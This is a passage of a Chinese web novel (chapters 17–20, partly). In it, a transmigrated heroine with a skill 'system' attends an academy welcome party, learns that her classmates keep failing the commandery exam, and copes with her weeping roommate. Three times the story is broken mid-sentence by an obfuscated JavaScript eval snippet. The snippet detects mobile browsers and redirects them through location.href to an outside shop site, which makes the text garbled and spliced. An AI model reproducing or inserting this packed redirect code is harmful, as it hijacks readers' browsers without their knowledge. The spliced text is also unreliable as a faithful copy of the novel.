l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363389|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云曜澄清，嬴若水已经迈开步子，往下个亭子走去。 云曜也只好跟上她的步伐。 跟之前一样，这个凉亭内也坐着几名年轻女郎。 石桌上同样摆着吃食，品种虽较前桌有所不同，但那格外醒目的猪头肉并没有变化。 嬴若水又大喊。 “姐妹们！这是我新认识的女君，云曜，云玉镜。” “人不可貌相，别以为她看起来不近人间烟火，实则她还是个蹴鞠好手，之后放学大家一起踢蹴鞠时，可得带她一起玩啊！” 云曜：“我……？” 等一下，她怎么就成踢蹴鞠的好手了？ 再往后—— 虽说事不过三，但当云曜继续跟着嬴若水带着往下个凉亭拐时，她已经有预感了。 等到了地方，不出所料，硕大的猪头肉依然摆在桌面上。 嬴若水也继续在年轻娘子们面前高喊。 “这就是我跟你们说的云曜，云玉镜！” “她初来乍到，有些怕生腼腆，各位可不能欺负她。谁要是欺负她，就是不给我嬴上善面子啊！” 云曜：“我……唉。” 心好累。 现在想想，她最初怎么会认错人呢。 沈令仪口中那个“不好相与”的官N代，分明跟眼前这个自来熟半点关系都不沾。 “好了，小曜，这就是全部人了，她们的名字，等会儿再一一跟你介绍。” 嬴若水转头，看到云曜复杂的神情，纳罕道。 “咦，我没看错吧。到底是今夜月光如水，还是你脸色确实有些发白？” 云曜深吸一口气：“若水啊，你……” 实话实说，这原女主看起来不太聪明的样子。 忽然间，系统的声音在云曜耳边响起。 【宿主，并非如此。因为沈令仪的缘故，你接下来会在艮山学宫内门借读。当前学宫内门学子共有三十余人，今日到场十二人。】 【而内门的入学门槛是——[文学]4级。】 【也就是说，在场每个人，包括嬴若水在内，最低的也拥有4级文学技能。】 云曜的话语，一下子卡在嗓子眼里。 不是吧。 这些看上去跟平常女孩子没什么两样的人，居然都这么有才学？！ 她还记得系统曾说过，如果一项技能达到5级，那么，这个人在该领域内便能被称为专家。 也就是说—— 在场的人里，只有她一个是真·笨蛋？ 系统又温馨补了一刀。 【不仅如此，接下来的日子里，你必须要超过这些人，才有希望考取郡试魁首呢。】 见云曜一下子失语沉默，旁边的嬴若水关切询问。 “小曜，你刚才想说什么呀，我怎么了？” 云曜深吸一口气，真情实感道：“你……真是个聪明的女君。” 嬴若水闻言，先是一愣，而后哈哈大笑。 “我？不不不，你就别编排我了，我郡试都接连落榜三年啦，谈何聪明？” 闻言，云曜大脑一阵宕机。 什么？落榜三年？ 拥有至少4级[文学]的原书女主，已经连续三年郡试失败了？ “倒是你，这么小的年纪能拜沈令仪为师，你才是真正的聪明人，”嬴若水面露佩服之色，“那可是‘琅嬛三仙’沈远鹤，差点中了三元的天才娘子。” “哈哈哈——” 正当云曜怔愣时，有笑声自身旁的凉亭传出。 “是呀，我郡试也连着落了两年了。” “在场的都是落榜生啦。” “好日子别提伤心事，来，反正人都到齐了，喝酒，喝酒。” 云曜：“……” 不、是、吧。 好可怕的信息量啊啊啊！ 这时，嬴若水好奇的声音在她耳边响起。 “小曜，这次应当不是我看错了吧。” “你的脸色，怎么又惨白了一点？” 18. 第 18 章 连她们都落榜了。 ——那我是什么？ 这是此刻浮现在云曜脑海中，最为真切的疑问。 【你是只拥有1级[文学]技能，但不仅不能落榜，还必须要考取郡试魁首的人。】 系统幽幽出声，给出了一个相当严谨的答案。 云曜：“……谢谢你啊。” 突然觉得这夜晚的风儿更冰凉了。 这时，嬴若水的视线从她脸上，转移到她的手中。 “咦，你拿的这几包油纸，怎么像是我家附近的刘姑卖的蜜饯果子？” 她指着云曜怀中的金丝党梅。 云曜回过神来：“这的确是我跟师尊刚来北岳县时，从一个卖货姑手里买的。” 嬴若水点头。 “那就是刘姑了。她时常会在城门附近兜售自己做的蜜饯，我有时回家，还会看她用糖渍果儿呢。” 听她这么说，云曜沉默片刻，心情万分复杂。 ……唉，如果初次见面时，嬴若水就对她说过这些话就好了。 那么自己肯定就能听出来，嬴若水其实是祥符本地人，而不是某个来自盛京的贵族娘子。 “小曜？你怎么了？” 嬴若水注意到了她的走神。 云曜收回思绪，轻叹一口气。 “若水，你既然住在这附近，那你是如何认得我师尊沈令仪的？” 最开始，嬴若水跟云曜说过“家母与沈女君有一番渊源”。 正是因为这句话，才让她误解了对方的身份。 “噢，我没跟你说过么，”嬴若水爽朗一笑，“我母亲是这城里有名的屠户，骟猪割肉的手法可是一绝。” “前段时间，沈女君的仆从来我家买过一扇猪肉。” “我母亲健谈，跟她聊起来便得知，那大名鼎鼎的沈女君竟来到了祥符境内。对了，以后有机会，我带你去我家的屠户铺子玩！” 云曜：“……” 怎么会有这样阴差阳错的奇事啊啊啊！ ……虽然这确实也算得一段渊源。 她的视线缓缓移动到石桌上的猪头肉——怪不得这么大喇喇地摆在正中，原来是宴会东家嬴若水自己带过来的。 这时，嬴若水带着云曜在石桌旁的凳子坐下，热情地递给她一双木箸。 “这是我母亲前几日送来的肉食，说是专门让旁边的寡夫做的，给我补补脑子。” “——来，尝尝？” 她一边说着，一边期待地望着云曜。 云曜拿起筷子，望着眼前桌上的猪头肉，眉头不自觉拧起。 “呃……” 在贫富差距极大的古代，不同家庭的烹饪技艺与水准也差别很大。 简言之，上限极高，下限极低。 富贵人家一般都吃得格外讲究，像云曜之前跟着云旼，哪怕出门在外，吃喝时还能花大钱叫专门的酒楼索唤，饭菜佳肴无一不精。 与之相比，普通家庭就差了许多，且不提食材差距，单是在吃食准备上的用心程度就是云泥之别。 就像是现在。 只见桌子正中央的狰狞猪头上，居然有几撮毛发从猪鼻子里伸出，还被月光照得闪闪发亮，仿佛在跟食客示威。 云曜几乎想当场干呕。 由俭入奢易，由奢入俭难，她做不到啊！ 吃惯了佳肴美馔，再看眼前这被小寡夫草草料理过的猪头，她无论如何也提不起食欲。 但是，自己如何忍心拂了嬴若水的面子？ 正左右为难时，她低头看了看自己的双手，忽然心生一计。 “哎呀！” 云曜夸张地一拍手，站起身来。 顺带不着痕迹地放下木著。 “我这带过来的蜜饯，还没给大家分。”她笑着说。 嬴若水恍然大悟，不疑有他，也连忙起身。 “我说你怎么带了这么多包蜜饯，原来是给姐妹们一起分的。小曜，你也太客气了点。” “没什么，我初来乍到，之后还要跟各位同窗好好学习。” 云曜说着，将手里的金丝党梅分给身旁的女郎们。 虽然不是每个人都嗜甜，但在这种社交场合，人们对零嘴点心的接受程度相当高。 “哇，谢谢玉镜女君。” “我上次出门，想专门买一点都没买到呢。” 眼见着嬴若水的注意力也跟众人一样，从猪头肉上分散开来，云曜长舒一口气。 幸好自己出门时顺手拿了几包蜜饯。 “对了，玉镜你还不知道我是谁吧？我是——” 在分给众人蜜饯时，在寒暄之中，云曜也知晓了她们的名字跟年龄。 除了云曜自己，其他人之中，最年轻的十五岁刚及笄，是个小个子的女孩；最年长的十八岁，正是嬴若水。 总体来看，差不多就是前世的初高中生。 无论在哪朝哪代，年轻人都有很高的社交活跃度跟适应力，只要彼此熟悉了些，就能玩得开。 不知不觉间，众人都挤到了一个凉亭中。 边吃喝，边聊天。 一名姓柳的女君往嘴里塞了一把蜜饯，含糊不清地开口。 “下午踢蹴鞠时，若水就一直在念叨‘看见了一位神仙娘子’，我还在想，怎能如此夸张？没想到今晚一见，果真名不虚传。” 身旁不少人都面露赞同之色。 “是啊，依我看，玉镜竟像是有仙鹤青竹之姿。” “字也起得好，‘玉镜’与云小女君给人的印象正相匹配。正所谓——星汉淡无色，玉镜独空浮[1]。” 一时间，各色称赞不绝于耳。 看她们的面色，这些都是真心实意的夸奖，并非刻意恭维。 云曜心中明白，能给她们留下这么好的初印象，自己的[顶级白月光]特征一定在其中发挥了不小的作用。 不过…… 这群文化人夸起人来，也会夹带私货。 起初，众人还是普通夸赞。 可不知不觉间，这夸赞中便夹杂了不少对学识的卖弄，有人趁机开始掉书袋。 “还是你这句好。我只想到了那句：皓月尚疑悬玉镜？露桃犹似羡李郎[2]。” “这句多少有些旖旎了，不如前朝那首：我梦君山秀，心驰赴南州。青眉横玉镜，光照城中楼[3]。” “要我说——” 云曜：“……” 等等，这不是华国诗词大会的现场吧？ 听到耳边宛如飞花令接力一般的诗句，她额头几乎要留下汗滴。 所幸自己是被夸的那一个，不用暴露自己的文盲程度。 但听久了，也实在觉得心虚。 这让云曜下定决心：等回去后，一定要想办法磨炼提升自己的文学技能。否则下次再遇到这样的场景，她就不一定像现在这样幸运躲过。 不过，也并不是每个人都热衷诗词。 在一片吟诗声中，忽然有一道中气十足的女声响起。 “这又不是中秋诗会，你们怎么还比起来了？” 开口的是嬴若水。 她抱臂环胸，气势很足，一下子就让众人噤了声。 “今日这宴会，是来给云曜接风洗尘的，怎么忽然这样文绉绉了？”她不满道，“想准备郡试的，可以跟其他人一样回去温书，不必前来。” 郡试？ 云曜捕捉到关键词，耳朵迅速竖起。 这时，起先吃蜜饯吃得最猛的那位柳姓女君凑到云曜耳边，悄悄对她耳语。 “你初来乍到，还不知道如今艮山学宫内门的情况。我们今天来的，都是跟若水关系比较好，平日会一起踢蹴鞠、玩投壶的人。” ……噢？ 系统刚才也确实跟她说过，艮山学宫内门一共有三十余人，而今天到场的只有十二个人。 那么，剩下的人都去哪儿了？ 柳姓女君继续对云曜耳语。 “来年三月就要郡试，只剩不足半年。学宫内不少人已经连考了五六年，年年落榜年年考，年年考试年年落。她们都发誓，这次一定要考上。” 云曜恍然大悟。 短短几句话，信息含量极大：怎么好像每个人都会落榜？这郡试究竟是怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377285|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么选拔人才的？ 最重要的是——郡试居然还有半年时间？ 她纳闷地想：自己获得的人生点数只有一千点，按十比一的兑换比例，也就只有三个月时间。 系统是出错了么？ 自己根本活不到那个时候啊。 【没有出错！】 系统出声抗议：【请宿主知晓，本模拟人生系统的人生抱负不只有一个。在接下来的时间，宿主可以多多探索。】 云曜恍然大悟。 看来，在挣得最初的人生点数后，自己便拥有了一定的自主性。 只是不知道，这下一步的人生抱负，要去哪里探索？ 【在学宫内外，有多个人生抱负触发点。还请宿主自行探索。】 见云曜一副沉思的模样，柳姓女君便没再刻意压低声音，对着众人开口。 “若水说得对，来，今日又不是郡试考场，都放松些吧。” 月色溶溶。 凉亭内无人再吱声，大家都默默地往嘴里塞蜜饯。 或许是提及了众人关心的郡试，气氛一时有些凝滞。 这时，有个尖嘴长脸，看上去分外机灵的女君拿起酒壶，给众人倒了一杯酒。 “姐妹们，喝酒喝酒！这是我从酒坊专门打的，尝尝味道如何。” 云曜也被分到一杯。 她将思绪收回，开始观察眼前的这杯酒。 与记忆中的啤酒、白酒等都不同，酒液表面漂浮着一圈细细的绿沫，乍看上去分外诡异。 系统适时出面解释。 【宿主，这是“绿蚁酒”。上面漂浮的绿沫，是新米发酵过程中未过滤掉的浮沫，对人体无害。】 【由于发酵工艺粗糙，度数很低，几乎不含酒精，你可以把它看作一种口感特殊的饮料。哪怕孩童也能入口。】 “——干杯！” 有了喝酒这个由头，气氛重又热络起来。 众人默契地避开了先前的话题，谈论起其他事情。 “对了，除了玉镜女君，咱们上月不是还来了个新人么？”有人说。 此言一出，像是引爆了某个话题引线。 “啊，那个整天围着围脖的体寒官话姥，叫陆措的家伙。要我说，应当是家道中落才从盛京转过来的吧。” 云曜一怔。 体寒的，官话姥？ 这个奇形怪状的描述，怎么听上去这么熟悉呢。 想来，应该指的是陆丹若。 其他人也开始你一言我一语地八卦起来。 “这人整天拿鼻孔看人，吃穿用度都豪奢极了，倒不像是在盛京混不下去才来祥符的。” 云曜默默地想：原来，陆丹若之前对谁都是这个吊样啊。 看来是个惯犯。 又有一名女君开口：“我一直觉得，他的字起得格外奇怪。谁家会给女儿起名‘措’，字‘丹若’？” 旁边有人附和：“是啊，阿措跟丹若都是石榴的雅称，倒是偶尔听到有儿郎叫这个名字。” 云曜眉心一跳：这位同窗，你知不知道自己无意间真相了？ 此时，柳姓女君插嘴道。 “他还霸道地一个人占了一整个院子。难道因为他是盛京来的，就能如此高贵？……啊，玉镜女君，我没有指摘你的意思。” 此刻，云曜终于有了为自己辩解的机会。 “诸位，我并不是盛京人士，”她无奈地笑了笑，“我也不会盛京官话，大家听我口音就能听出来，我是祥符本地人。” 凉亭内静了静，而后传来此起彼伏的“噢——”。 又有一名女君疑惑开口。 “那你刚刚怎么会从西面走过来？那边只有官话姥……咳咳，陆措的住处。” “对噢，”有人一拍手掌，“还是说，你被分到了跟他住在一起？真稀奇，我还以为官话姥会一直一个人住在那里。” 霎时间—— 十几双好奇的眼睛，宛如探照灯射线一般，直直地朝云曜看过来。 “玉镜娘子，这是怎么一回事？” “你真的跟陆措住在一起么……？” 19. 第 19 章 突然之间，云曜成为了众人视线的焦点。 “嗯，我确实跟丹若娘子住在一起，”她抿了口绿蚁酒，掩住眼眸中的无奈，“当初……是师尊嘱托我，要照顾好他。” 唉。照顾好他。 光想想就觉得心情沉重。 希望今晚回去后，陆丹若千万不要再作妖了。 听她这么说，周围安静一瞬。 而后，自四面八方同时爆发出不同的疑问。 年轻女君A震惊：“你口中的师尊，真的是沈令仪沈女君吗？你既然不是盛京人，如何能拜她为师的？” 年轻女君B困惑：“陆措跟沈女君又是什么关系？为什么沈女君会托你照顾他？” 年轻女君C感慨：“你跟陆措之前就认识么？天啊，这小小的北岳县，怎会突然聚集了这么多人才？” 集中在云曜身上的目光，不断升温。 “呃……” 云曜注视着一双双激动的眼睛，恍惚间，竟有种置身于古代版新闻发布会现场的感觉。 甚至，这群人还会像记者一样抢问题。 “玉镜，你回答一下我吧——” “不行不行，还是得先告诉我——” 众人你一言我一语，把迎新宴聊出了喧嚣八卦会的气势。 最后，还是嬴若水出来打了圆场。 “小曜初来乍到，又怕生腼腆，你们一下子问这么多问题，让她怎么回答？” 她猛地站起，双手叉腰，气势很足，直接把众人镇住。 “……呼。” 见状，云曜松了口气。 第一次觉得，嬴若水对她有“怕生腼腆”的误解也挺好的。 毕竟这些狂风骤雨般的问题中，还包含了不少敏感信息——比如陆丹若的真实身份，云曜跟沈令仪的相识，等等。 这些都不是能跟初次见面之人诉说的东西。 “好了，到此为止吧。都少问一些。” 嬴若水不愧是这群女君之中的领军人物，只要她一发声，便无人再敢置喙。 凉亭霎时一静。 “……我只是好奇嘛。” “我也是。没想到她跟陆措还能扯上关系。” “既然上善娘子都这么说了，那就算喽。” 其他人虽然面上有些失望，但也都露出了理解的表情。 云曜看向嬴若水，只见对方正颜厉色，明明只是一名十八岁的少年人，却已经有了不怒自威的领袖气质。 ——真不愧是原书女主。 觉察到了云曜的视线，嬴若水转过头，递给她一个安抚的眼神。 而后，嬴若水面向那个说“云曜跟陆措怎么会扯上关系”的年轻女君，大声开口。 “这肯定不是云曜自愿的啊，今后她要跟那个爷们唧唧的官话姥住在一起，压力已经够大了。你们扪心自问，自己愿意跟陆措住一起么？” 话音刚落，众人纷纷摇头。 “我可不愿意。” “就是，他走在路上都没正眼瞧过我。” “这样想想，真是好可怜啊，玉镜娘子……” 云曜：“……” 这种格外同情她的眼神是怎么回事？ 陆丹若，你真应该好好反思一下自己了！ * 此时，嬴若水重又坐了下来。 “再说了，今日只是小曜第一次来学宫，等之后大家有的是机会聊天。” 说着，她又斟满了面前的酒杯，将酒壶递给身旁的一名女君。 “来，不多说了，喝酒喝酒。” 那人接过酒壶，也跟她一样把酒斟满。 “好好好，知道了。” 接下来，女君们如击鼓传花般将酒壶递了下去。 虽然嘴上都说着“喝酒”，但哪怕有人只是象征性地点了下酒杯，周围人也不会强制劝说，完全丰俭由人。 “说起来，那日山长……” 不知不觉间，又有人自然而然开启了新话题。 既然自己已经不是众人瞩目的焦点，云曜便默默侧耳聆听。 年轻女君们谈天说地，从过去聊到未来，每时每刻都有抛出的新话题。 欢声笑语融入流动的空气，在少年人的眼角眉梢流淌。 在这热闹的氛围下，云曜忽然莫名想起了前世一句流传很广的诗词。 ——欲买桂花同载酒，终不似，少年游。 少年游。 在她前世的少年时代，自己从未留下过跟今天一般的回忆。 “玉镜？玉镜女君？” 上一个拿着酒壶的人见云曜出神，好心提醒她：“给你。若是不想再喝了，那边还有茶水。” “啊，我没事。反正这酒度数挺低的。”云曜下意识开口。 “度数……？” 糟糕。 差点忘了，古代还没有“度数”这个概念。 迎着那人“你在说什么？”的目光，云曜笑了笑，斟满酒杯，没再辩驳：“是我糊涂了。” 说罢，将绿蚁酒痛快地一饮而尽。 周围响起几声叫好。 “真爽利！” “我也得陪一杯了。” 此刻，微风吹拂，缺月当空。 浮着绿沫的酒液，映出一张张稚气年轻的面庞，被盈盈笑语吹皱。 * 等回到住处，已是后半夜。 古代没有路灯，仅靠月光指引。四下无人，曲径幽深，阒静无声。 所幸云曜方向感不错，顺利地回到了自己的院子。 刚推开院门，她便看见，屋内竟亮着光。 透过窗户，隐约可见影影绰绰的人形，那人似乎正坐在靠窗的位置，烛光将他的侧脸投在纱窗，拓下清俊的轮廓。 【宿主，这是陆丹若。】 云曜心头一咯噔。 不会吧。陆丹若还没睡？ 老天奶保佑，可千万别是为了跟她理论才等到这时候的。 可惜，事与愿违。 当她推开门后，耳边便传来了幽幽的男声。 “……对不起，玉镜娘子。” 这话来得出其不意，差点把她吓得栽了个大跟头。 按理说，面对这没头没脑的道歉，正常人都会下意识问一句“何出此言？”。 但云曜硬生生按住了自己的这股冲动。 她知道，如果这样追问下去，以陆丹若那清奇的脑回路，自己少不了要费心力跟他掰扯。 ——这是她不想看到的。 夜已深，明日还是她第一天正式上学，千万不能出岔子。 于是，云曜匆匆瞥了他一眼后，便拿出箱箧中的被褥开始铺床。 嘴里只含糊地“嗯”了声。 意思很明确：她没有聊天的意思，话题在此终止就可以了。 可显然，陆丹若并没有领悟到云曜的深意。 “像你之前说的，我已经把耳珠摘下了，你看。” 陆丹若伸手将头发向后捋了捋，露出耳垂——虽仍能看到耳洞，但没有琉璃耳珠的存在，并不会让人第一时间注意到。 云曜：“嗯。” 沙沙—— 铺床，铺床。 “还有你之前送我的蜜饯……味道不错。你是在城中买的么？” 云曜：“嗯。” 沙沙沙—— 继续铺床。 “我方才隐约听到西苑那边传来言谈声，是你跟其他女君么？没想到你才刚搬过来，就与她们有了交际。” 云曜：“嗯。” 呼…… 终于铺好床了！ 她不顾身后陆丹若的絮絮叨叨，直接背对着他，开始脱衣服。 天色已晚，是入睡的时辰。 自己折腾了一天，如今放松下来，实在是有些疲累。 “你、你怎能在儿郎面前换衣服？！”不出所料，身后又传来了陆丹若大惊小怪的声音。 “你别看不就行了？” 云曜懒得理他，继续我行我素。 她身后的陆丹若“你你你——”了一会儿，见云曜丝毫没有停下的意思，便渐渐噤了声。 古代人换睡衣不像现代人，要把衣服脱到只剩贴身内衣；恰恰相反，很多人一直都穿着将身子遮得严严实实的中衣，睡觉时只要脱下外衣就好。 在云曜看来，这根本算不上什么。 也就是脱了件外套而已。 等她脱到只剩下身上舒适的素白云缎中衣，回过头时，云曜看到陆丹若满脸通红地偏过头，用手遮住了眼睛。 “屋子就这么大，如果你不事先提醒我一句，我如何能不看你？” 陆丹若遮着眼睛，闷闷开口。 正如他所言，屋内虽然宽敞，但或许是因为房间定位是“集体宿舍”的缘故，这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389609|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除了正中央的堂屋外，并未跟普通屋舍一般严格划分厢房。 也因此，云曜跟陆丹若的床铺一东一西，虽然相隔较远，但因为中间没什么大的遮挡物，基本是睁眼就能看到对方的程度。 “呼——” 云曜没理他，直接吹灭了自己床边的灯烛。 “丹若娘子，早些睡吧。明日……” 话说到一半，她突然意识到，现在都已经过了零点。 于是她迅速改口：“今日三鼓时还要上学。” 据今天迎新宴上得到的情报，艮山学宫每日的上课时间是辰时到未时，也就是早上7点到下午3点。 由于古代没有闹钟，从卯时一刻开始，会有专门的打更人敲鼓，共有三次鼓声。 一般来说，一鼓时起床，二鼓时吃饭（有专人送往每个院子），三鼓时便要出门。 也就是说，现在再不补眠，就来不及了。 然而，云曜的头刚沾上帛枕—— “你这样冷淡对我，难道……” 男人叹息的低语声，传到她耳中：“是嫌我与你不匹配？” 云曜上一秒舒适闭眼：“……” 云曜下一秒猛地睁眼：“？？？” 什么东西？ 她又一次被陆丹若的逻辑镇住：人的脑回路，是怎么能绕到此处的？ 这便是传说中的恋爱脑么？ 没等她回话，陆丹若又急急开口。 “我是盛京陆氏的独男，如果你是担心我的嫁妆不够丰厚，那你大可放心。你娶了我，绝不会吃亏的。” 嫁娶二字皆与女有关：女取，而后至女家。 诚如陆丹若所言，如果娶他回家，在普通女人眼中绝不会是一件吃亏买卖。 但是，云曜并不是个普通人。 她也不需要做这种不吃亏的买卖。 “丹若娘子，你累了。早日歇息吧。” 云曜干脆利落地说完，便将被子蒙住头，不再听外界的声音。 过了一会儿。 陆丹若竟然哭了。 “为何……呜……” 低低的哭声在唇齿间压抑，像是连绵不绝的阴雨，直往人耳朵里钻。 如果有心软的小娘子听到，或许还会心疼地安慰他。 不过对云曜而言，她一心只想快点入睡，快点上学。 什么哭声不哭声，都挡不了她要上进学习的心。 她可是要在读书上超过一众女郎，最终考取郡试第一的女人！ 怎能因为一夜睡眠而折戟？ “……呜……” 哭声完全没有停止的意思。 于是，云曜她—— 又默默将被子裹得更紧了一些。 【宿主，你不去安慰一下他么？】 “安慰个屁，真安慰他的话，我这觉还睡不睡了？”云曜在脑内斥责系统。 【唔……确实是这样。】 在这种特殊时候，有生活系技能傍身的好处就体现出来了。 多亏了她身上有1级的[寝眠]技能，能让她比常人更快进入睡眠。 强迫自己忽略耳畔杂音后，云曜的眼皮渐渐开始发沉，意识也变得朦胧。 “zzz……” “ZZZZ……” 很快，她便成功入睡，甚至还睡得格外香甜。 耳畔的哭声消失得很彻底。 一夜无梦。 * 次日一早，天刚蒙蒙亮，便有打更人在学宫内敲起了鼓。 咚—— 当第一声悠长磅礴的鼓音传来，云曜神清气爽地睁开了眼睛。 与鼓声同时入耳的，还有系统出其不意的提示音。 滴！ 【你提升了[寝眠]技能。当前等级：2级。】 【技能效果：与常人相比，你所需的睡眠时间将大大减少。】 云曜伸了个大大的呵欠，起身下床。 她心想：这个技能效果不错。 有了提升后的[寝眠]技能，看来，自己今后将拥有更多空闲时间来学习了。 离郡试还有半年，自己定要想尽一切办法，抓紧机会学习才是。 然而，刚穿上鞋抬起头，她便跟顶着一双熊猫眼的陆丹若撞上了视线。 “……？！” 云曜倒吸一口冷气。 “丹若娘子，你这是怎么了？” 20. 第 20 章 与陆丹若不同，云曜格外神采奕奕，说话声也中气十足，一看就知道昨晚睡了个好觉。 陆丹若抬起眼眸，咬牙切齿。 “……你，还问我怎么了？” 仔细一看，他不光眼下有青紫的黑眼圈，连眼皮都是红肿的，凤眸瞥过来时，带着一丝若有若无的怨嗔。 像是被人欺负狠了的样子。 云曜这才想起昨晚发生之事：不知道陆丹若在那之后，自己一个人悄悄哭了多久。 毕竟他哭的时候，自己已经沉入梦乡了。 迎着陆丹若又愤又怨的目光，云曜叹口气。 “去净一下面吧，丹若娘子。” 不然被别人看见了，可能还会以为她对陆丹若做了什么。 上学才第一天，她可不想背上“霸凌同窗”的名声。 陆丹若紧紧盯住她，眼神复杂。 好半晌，才扔下一句冷飕飕的话。 “好，好，好。云玉镜，你听好了——” 听到他连姓带字叫自己大名，云曜条件反射地心一惊。 ……这人又要搞什么幺蛾子？ 她警惕地看着陆丹若，却听到对方冷笑一声，说： “我陆丹若发誓，从今往后——” “绝对、绝对不会再为你哭了！” 说完，他便起身拂袖离开，像云曜说的那样去院子里净面了。 云曜：“……” 云曜：“……哈？” 就这？ 太好了。求求你一定要说到做到！ * 待陆丹若走后，云曜看了眼外面的暗沉天色，判断出今日应当温度不高，便从衣柜里挑了件棉麻仙鹤暗纹直裾。 虽然古代穿衣步骤较现代繁琐一些，但习惯后，便不会再觉得不方便，甚至还能从中获得一种按部就班的乐趣。 有些遗憾的是，受制于古代的科技水平，大曌朝的镜子尺寸都很小，最大的直径也不到二尺，换算成现代尺寸也就是一个大点的桌面镜。 因此，人没有办法对着全身镜整理仪表。 所幸云曜有[更衣]技能，倒是不用担心自己会因仪容不整而出丑。 咚，咚—— 在云曜穿衣时，门外传来了第二道鼓声。 这声鼓音说明，晨饭已经被送往各院，学子们可以开始吃早饭。 不知道艮山学宫的早饭会是什么样？ 既然是郡内有名的书院，饭食质量应当会有保障吧。 云曜一边想着，一边完成了最后一道穿衣工序——挂上带钩。 吧嗒。 随着玉质带钩严丝合缝地扣上，系统的声音忽然在耳畔响起。 滴！ 【你提升了[更衣]技能。当前等级：2级。】 【技能效果：与常人相比，你在剧烈运动时，衣服更不容易变得凌乱。】 “……剧烈运动？” 云曜如今已经习惯了系统时不时的神出鬼没。 她认真理解了一下这项技能的描述，思忖片刻：这是某种衣服定型术么？ 系统对此作出了解释。 【是的。就像是让人出门狂奔一千米，寻常古人的衣服在运动过程中会变得皱皱巴巴。】 【但你不会，哪怕天降妖风，你的衣服也不会被吹乱。】 云曜恍然大悟。 听上去，有点像是前世部分古装电视剧上见过的主角，无论经历怎样激烈的打斗，TA们的服装都能保持光鲜亮丽。 功能乍一看是有些鸡肋，但等级高一点总归没有坏处。 况且，这种生活系技能，可以在日常生活中自然增长，也不需要云曜多费心。 系统又补充一句：【顺带一提，与小儿郎的床上运动也是剧烈运动的一种。等未来宿主解锁高级[房中术]技能，还会有更多技能联动功效。】 云曜：“……” 这、这是能说的吗？ 总而言之，现在她身上总共有五种技能。 其中生活类技能有[寝眠]、[更衣]和[通神]，前两项都达到了2级；才华类技能有[文学]和[入画]，由于没有磨炼的机会，都只是1级。 当务之急，是要尽快提升跟郡试有关的技能。 也就是说从今日起，她必须得好好上课，增加自己的[文学]水平。 云曜正思索着，忽然听到一声闷哼。 “……哼。” 伴随着这道不满的哼声，她身后传来一阵脚步音，而后便是“哐当”两声重物砸在桌上的声音。 云曜循声转身。 不出所料，她看到陆丹若冷着一张脸，面色不悦，可是—— 他竟将两个双层木质食盒带了回来，好好地放在桌子上。 还悉心细致地帮忙摆好了餐具。 “别多想，只是顺便给你拿过来的。” 在大曌朝，十几岁的少男，素面朝天也十分清爽。此刻，虽然陆丹若净了面，但眼眶周围还是能看出哭过的红痕。 开口时，还能听出清冷声线中残余的厚重鼻音。 云曜看着桌上摆得整整齐齐的两个食盒跟竹箸，眉心一跳。 话又说回来，不是才刚给她放了狠话吗。 怎么还能乖乖帮她拿来食盒？ 这可真是…… 太贤惠了。 见云曜愣在原地，似是没有过来吃饭的意思，陆丹若不自觉捏紧了手中的竹箸。 “怎么？你不吃么。” 与面上的冷漠不同，他的心脏简直悬到了嗓子眼。 无法控制地为云曜感到担心。 今天是她第一日来书院，一定有许多事要熟悉，必须得吃早饭才行。 男人一顿不吃算不得什么，还能当做节食；可女人一顿不吃，万一饿出毛病了，要怎么办？ 陆丹若心乱如麻：云曜她，是不是在气自己？ 要不，自己服个软？ 这个念头一在脑海盘桓，就很难再按下去。 “玉——” 陆丹若藏在围脖下面的喉结一滚，话到嘴边，又实在说不出口。 他心中苦涩万分，不可避免地又联想了许多。 自己在云曜面前的姿态，已经太低了。 他有时候会听到小厮们偷偷议论街巷八卦，说，那些让女人没有征服欲的儿郎，就算侥幸跟女子在一起，最后也会因为新鲜感消失而被抛弃。 可是、可是…… 云曜她的所作所为，并不像那些街巷八卦中会抛弃男人的坏女人。 在陆丹若看来，如果云曜真是“坏女人”，那她早该在他示弱时，就急不可耐地扑上来了。 想到这里，他心中又浮现一丝自嘲：不管怎么说，自己今早的言语行动实在是过分，完全没有给云曜一个女人应有的面子。 想来，云曜已经对他厌烦至极了吧。 连带着自己带来的饭，她也肯定不—— 正当陆丹若内心天人交战时，他忽然听到云曜开口。 是令他分外惊讶、出乎他意料的话语。 “好，谢谢你了。” * 说完，云曜便自然地坐到了他对面，泰然自若地打开了食盒。 对云曜来说，她可不在意陆丹若丰富的内心活动。只要对方不发癫，自己便没有拒绝他好意的可能。 再说，饭都递到自己眼前了，对她有什么损失吗？ ——完全没有。 对方的“冷脸端饭上桌”，对云曜而言，没有丝毫杀伤力。 只是，没想到…… “……呜……” 才刚坐下，那让她头皮发麻的呜咽，又在耳边响起。 云曜手指一抖：“？？？” 她又做什么了？ 此时此刻，她错愕抬头，只看见陆丹若刻意低下头，以手指擦拭眼角的泪滴的模样。 他似是不想让云曜看见自己的表情，将头落得格外低。 云曜：“……” 等一下。 一刻钟前还放狠话立誓，说“我绝不会为你哭”的人是谁？ 这破誓也太快了点吧！ 